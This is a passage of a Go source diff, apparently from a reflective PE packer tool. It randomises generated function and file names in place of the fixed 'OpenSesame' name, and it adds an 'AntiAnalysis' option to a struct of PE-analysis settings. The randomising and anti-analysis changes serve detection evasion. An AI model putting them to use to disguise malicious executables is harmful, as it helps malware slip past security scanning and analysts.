var mtimeDate = time.Date(2000, time.January, 1, 0, 0, 0, 0, time.UTC)
func statik(namePackage, src, dest string) {
verbose("Extracting statik files...", "*")
file, err := generateSource(src)
func statik(src, dest string) string {
verbose("Creating virtual file system...", "*")
file, id, err := generateSource(src)
parseErr(err)
destDir := path.Join(dest, namePackage)
err = os.MkdirAll(destDir, 0755)
parseErr(err)
err = rename(file.Name(), path.Join(destDir, nameSourceFile))
err = rename(file.Name(), path.Join(destDir, RandomString(10)+".go"))
parseErr(err)
defer progress()
return id
}
func extract(hfs http.FileSystem, fileName string, dst string) {
rawFile, err := fs.ReadFile(hfs, fileName)
parseErr(err)
file, err := os.Create(target.workdir + "/" + dst)
parseErr(err)
defer file.Close()
_, err = file.Write(rawFile)
parseErr(err)
defer progress()
}
@@ -75,7 +86,7 @@ func rename(src, dest string) error {
// that contains source directory's contents as zip contents.
// Generates source registers generated zip contents data to
// be read by the statik/fs HTTP file system.
func generateSource(srcPath string) (file *os.File, err error) {
func generateSource(srcPath string) (file *os.File, id string, err error) {
var (
buffer bytes.Buffer
zipWriter io.Writer
@@ -123,22 +134,22 @@ func generateSource(srcPath string) (file *os.File, err error) {
_, err = f.Write(b)
return err
}); err != nil {
return
return nil, "", err
}
if err = w.Close(); err != nil {
return
return nil, "", err
}
funcID := RandomString(10)
// then embed it as a quoted string
var qb bytes.Buffer
fmt.Fprintf(&qb, `
package %s
import (
"github.com/rakyll/statik/fs"
"../fs"
)
func OpenSesame() {
func `+funcID+`() {
data := "`, namePackage)
FprintZipData(&qb, buffer.Bytes())
fmt.Fprint(&qb, `"
@@ -147,9 +158,9 @@ func OpenSesame() {
`)
if err = ioutil.WriteFile(f.Name(), qb.Bytes(), 0644); err != nil {
return
return nil, "", err
}
return f, nil
return f, funcID, nil
}
// FprintZipData converts zip binary contents to a string literal.
+1 -1
View File
File diff suppressed because one or more lines are too long
+6 -7
View File
@@ -15,10 +15,11 @@ const VERSION string = "2.0.0"
type ID struct {
// Parameters...
fileName string
keySize int
FileName string
KeySize int
key []byte
reflective bool
AntiAnalysis bool
iat bool
resource bool
scrape bool
@@ -26,16 +27,16 @@ type ID struct {
debug bool
help bool
clean bool
ignoreIntegrity bool
IgnoreIntegrity bool
// System anaylsis
nasm string
workdir string
// PE analysis
fileSize string
FileSize string
arch string
imageBase uint64
ImageBase uint64
subsystem uint16
aslr bool
dll bool
@@ -51,8 +52,6 @@ var green *color.Color = color.New(color.FgGreen)
var BoldGreen *color.Color = green.Add(color.Bold)
var white *color.Color = color.New(color.FgWhite)
//var BoldWhite *color.Color = white.Add(color.Bold)
var progressBar *pb.ProgressBar
var target ID